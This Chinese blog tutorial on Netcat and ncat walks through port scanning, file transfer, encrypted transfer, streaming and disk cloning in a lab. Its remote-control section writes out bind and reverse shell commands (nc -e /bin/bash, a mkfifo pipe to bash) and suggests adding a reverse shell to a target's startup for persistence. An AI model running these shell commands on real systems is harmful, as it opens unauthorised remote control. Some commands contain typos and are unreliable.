Netcat使用与分析

Netcat使用与分析

简介

Netcat (简称 nc)是一款简单实用的工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。内建有很多实用的工具。被称为网络工具中的瑞士军刀。

项目地址:

linux:https://nmap.org/ncat/

windows:https://nmap.org/dist/ncat-portable-5.59BETA1.zip

主要功能

  • 端口扫描功能/获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件
  • 远程控制
  • 流媒体服务器
  • 远程克隆硬盘
  • Telnet

操作环境

使用-h查看工具的使用说明,文章中使用Kali自带的nc进行演示。

kali IP:10.211.55.8

win10 IP:10.211.55.14

-c shell commands shell模式
-e filename 程序重定向,接连接后执行的程序名
-b 允许广播
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i secs 延时设置,端口扫描时使用
-k 设置在socket上的存活选项
-l 监听模式
-n 以数字形式表示的IP地址
-o file 使进制记录
-p port 指定端口
-r 随机本地和远程的端口
-q secs 在标准输入且延迟后退出
-s addr 本地源地址
-T tos 设置服务类型
-t 以TELNET的形式应答入站请求
-u UDP模式
-v 显示详细信息(使用-vv获取更详细的信息)
-w secs 连接超时设置
-C 发送CRLF作为行结束
-z 零I/O模式,仅报告连接状态,不进行交互 [扫描时使用] 

基本使用

端口扫描功能/获取banner信息

nc 可以探测服务器的端口是否开放以及 banner 信息。

#命令格式 -n 以数字形式表示的IP地址 -v 显示详细信息
nc -nv ip port

可以看到10.211.55.14的139端口时开放的,对应的 banner 信息是netbios,这个功能可以用于端口扫描探测。

#命令格式 -z 仅报告连接状态,不进行交互
nc -nvz ip ports

Wireshark抓包查看,加了-z确实只有请求包,没有进行3次握手的交互。(ip.addr == 10.211.55.8 or ip.addr == 10.211.55.14)

传输文本信息

nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。

#kali上执行监听命令 -l 参数是监听模式 -p指定一个端口
nc -l -p 7777
#win10上执行连接命令
ncat.exe -nv 10.211.55.8 7777

抓包查看,传输为明文传输,无任何的加密。

传输文件和目录

文件传输和目录这个功能,和文本信息传输类似,只不过是把文本信息换成了文件和目录。

传输文件

首先正向传输文件,用一台机器监听一个端口,如果有人连接并传来信息时,则将信息使用重定向(>)到文件。另一台机器连接目标指定端口然后通过输出(<)要传送的文件即可。

#kali上执行监听命令 -l 参数是监听模式 -p指定一个端口
nc -l -p 7777 > 1.txt
#win10上执行连接命令
ncat.exe -nv 10.211.55.8 7777 < test.txt

抓包查看,传输文件也为明文传输,无任何的加密。

反向传输

同样的也有一个反向传输文件,用一台机器监听一个端口把文件准备好,如果有人连接,就传给他文件(和正向连接的符号相反)。

#kali上执行监听命令 -l 参数是监听模式 -p指定一个端口
nc -l -p 7777 < 1.txt
#win10上执行连接命令
ncat.exe -nv 10.211.55.8 7777 > test1.txt

对于传输目录其实和传输文本信息传输文件一样,当作文件处理即可,传输时将目录进行压缩进行传输,随后另一台机器接收后进行解压,这样就完成了目录的传输。例如使用 tar 命令。

#kali上执行监听命令 -c 表示进行压缩 -v 是显示详细过程 -f 是文件名 -x 是解压
tar -cvf - test | nc -lp 7777
#win10上执行连接命令
ncat.exe  -nv 10.211.55.8 7777 | tar -xvf -

加密传输文件

加密传输文件需要使用 mcrypt 库,linux 系统默认是没有安装的,需要手动安装。命令:apt-get install mcrypt

随后和传输文件类似,只需要在传输文件时使用 mcrypt 加密即可。mcrypt --list-hash查看支持的hash加密方式。

#10.211.55.8上执行监听命令,接收文件 --flush 立即冲洗输出,-F 输出数据,-b 不保留算法信息,-q 关闭一些非严重的警告,-d 解密 -k 指定密码 -h 指定hash加密方式
nc -lp 7777 | mcrypt --flush -Fbqd -h sha256 -k 123456 > file.txt
#另一台kali上执行连接命令,上传文件
echo "hello roderick" > test.txt
mcrypt --flush -Fbq -h sha256 -k 123456 < test.txt | nc -nv 192.168.183.129 7777

以下使用两台kali进行操作

Kali IP :192.168.183.129 \ 10.211.55.8

下图所示:通过加密的方式传输,可确保信息的机密性。

拓展:

关于mcrypt另一些加密算法 使用-a指定算法 -m指定加密模式,例如

nc -lp 7777 | mcrypt --flush -Fbqd -a acst-128 -m cbc -k 123456 > file.txt
mcrypt --flush -Fbq -a acst-128 -m cbc -k 123456 < test.txt | nc -nv 192.168.183.129 7777

远程控制

原理和传输信息、传输文件一样,只不过传输的是 bash,windows 系统是 cmd。

正向Shell是目标机器主动指定 bash并监听端口,然后攻击者连接端口,当攻击者连接目标机器后,目标机器将Shell传递给主动连接的机器。

#目标机器执行 netcat支持-c、-e 参数情况下
nc -lp 7777 -c bash / nc -lp 7777 -e /bin/bash
#连接机器执行
nc -nv 10.211.55.8 7777

#目标机器执行 netcat不支持-c、-e 参数情况下
mkfifo /root/test_fifo
cat /root/test_fifo | /bin/bash -i 2>&1 | nc -lvp 7777 > /root/test_fifo

#这里我们创建一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口7777上。至此,我们已经把netcat的输出重定向到fifo文件中。
说明:
从网络收到的输入写到fifo文件中
cat 命令读取fifo文件并且其内容发送给sh命令
sh命令进程受到输入并把它写回到netcat。
netcat 通过网络发送输出到client
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

#连接机器执行
nc -nv 10.211.55.8 7777

反向Shell是攻击者本地监听一个端口,让目标服务器来连接自己,从而达到控制服务器的效果,这样就可以写一个脚本放到目标服务器的开机启动中,只要目标服务器运行就会连接自己。

#攻击机器执行 netcat支持-c、-e 参数情况下
nc -lp 7777 
#目标机器执行
nc -nv 10.211.55.8 7777 -c bash / nc -lp 10.211.55.8 7777 -e /bin/bash

流媒体服务器

流媒体,就是发送方把视频通过流的方式进行传输,传输多少,接收方就会实时的播放多少。

首先,需要在要传送文件的机器上把文件通过管道给 nc,然后监听一个端口。在接收端连接此端口然后通过管道给 mplayer 进行实时播放,mplayer 默认 linux 不安装,需要手动安装,命令:apt-get install mplayer。

#发送方机器执行
cat 1.mp4 | nc -lp 7777
#接收方机器执行 其中 -vo 参数是选择驱动程序,-cache 是每秒要接收的播放帧。
nv -nv 10.211.55.8 7777 | mplayer -vo x11 -cache 3000 -      #从socket中读入数据并重定向到mplayer

远程克隆硬盘

​ 对于远程克隆硬盘,在远程电子取证时可以用,使用方法需要借助 dd 命令,首先通过 nc 监听一个端口,然后通过 dd 指定要克隆的分区,dd 的 of 参数相当于一个复制功能,然后再另一台机器通过 nc 连接此端口,dd 的 if 参数相当于粘贴的命令。格式如下:

#被克隆硬盘主机执行
nc -lp 7777  | dd of=/dev/sda
#克隆硬盘主机执行
dd if=/dev/sda | nc -nv 10.211.55.8 7777

Telnet

使用-t选项模拟Telnet客户端。

Ncat

nc 也有不足之处,首先就是明文传输,可能会被嗅探。其次对于反向 shell,如果其他人通过网络扫描发现了这个端口,也就意味着任何人都可以去监听这个端口进行连接,缺乏身份验证功能。

ncat 则弥补了这些缺点,ncat 不是 linux 系统自带的命令,而是 nmap 中的。ncat 中很多参数和 nc 一样,其中可以通过 --alow 参数来指定允许连接的机器,通过 --ssl 进行数据的加密。

#监听端
ncat -nvl 7777 -c bash --allow 10.211.55.8 --ssl 
#连接端
ncat -nv 192.168.183.129 7777 --ssl

总结

​ nc的优点很明显,体积小,使用方便,但缺点也很致命,明文传输,无法限制连接对象,没有相关的身份验证。而 ncat 在 nc 基础上弥补了其不足。此外还有powershell版本的powercat。总体来说这款工具还是很好用的。

posted @ 2021-12-29 15:36  九天揽月丶  阅读(1395)  评论(0编辑  收藏  举报